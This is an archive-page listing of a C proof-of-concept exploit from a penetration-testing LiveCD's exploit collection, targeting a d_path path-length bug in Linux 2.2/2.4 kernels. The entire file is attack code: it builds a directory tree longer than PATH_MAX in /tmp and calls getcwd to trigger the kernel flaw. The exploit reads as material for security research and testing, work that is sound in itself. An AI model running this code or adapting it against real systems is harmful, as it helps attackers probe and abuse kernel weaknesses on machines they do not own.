home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / dpathx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  62 lines

  1. /*
  2.  * 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit
  3.  *
  4.  * Bug found by cliph
  5.  */
  6.  
  7. #include <unistd.h>
  8. #include <stdio.h>
  9. #include <limits.h>
  10. #include <errno.h>
  11. #include <paths.h>
  12.  
  13. /*
  14.  *  Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for 
  15.  *        trailing '\0' 
  16.  */
  17.  
  18. #define PATH_COMPONENT "123456789abcdef"
  19.  
  20. void err(char * msg)
  21. {
  22.     if (errno) {
  23.         perror(msg);
  24.         exit(1);
  25.     }
  26. }
  27.  
  28. int main()
  29. {
  30.     char buf[PATH_MAX + 1]; /* think of trailing '\0' */
  31.     int len;
  32.     
  33.     errno = 0;
  34.  
  35.     chdir(_PATH_TMP);
  36.     err("chdir");
  37.     
  38.     /* show CWD before exploiting the bug */
  39.     getcwd(buf, sizeof(buf));
  40.     err("getcwd #1");
  41.     fprintf(stderr, "CWD=%.40s\n", buf);
  42.     
  43.     /* creating long directory tree - it must exceed PATH_MAX characters */
  44.     for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) {
  45.         errno = 0;
  46.         mkdir(PATH_COMPONENT, 0700);
  47.         if (errno != EEXIST)
  48.             err("mkdir");
  49.         errno = 0;
  50.         chdir(PATH_COMPONENT);
  51.         err("mkdir");
  52.     }
  53.  
  54.     /* show CWD before exploiting the bug */
  55.     getcwd(buf, sizeof(buf));
  56.     err("getcwd #1");
  57.     fprintf(stderr, "CWD=%.40s... [stripped]\n", buf);
  58.     
  59.     return 0;
  60. }
  61.  
  62.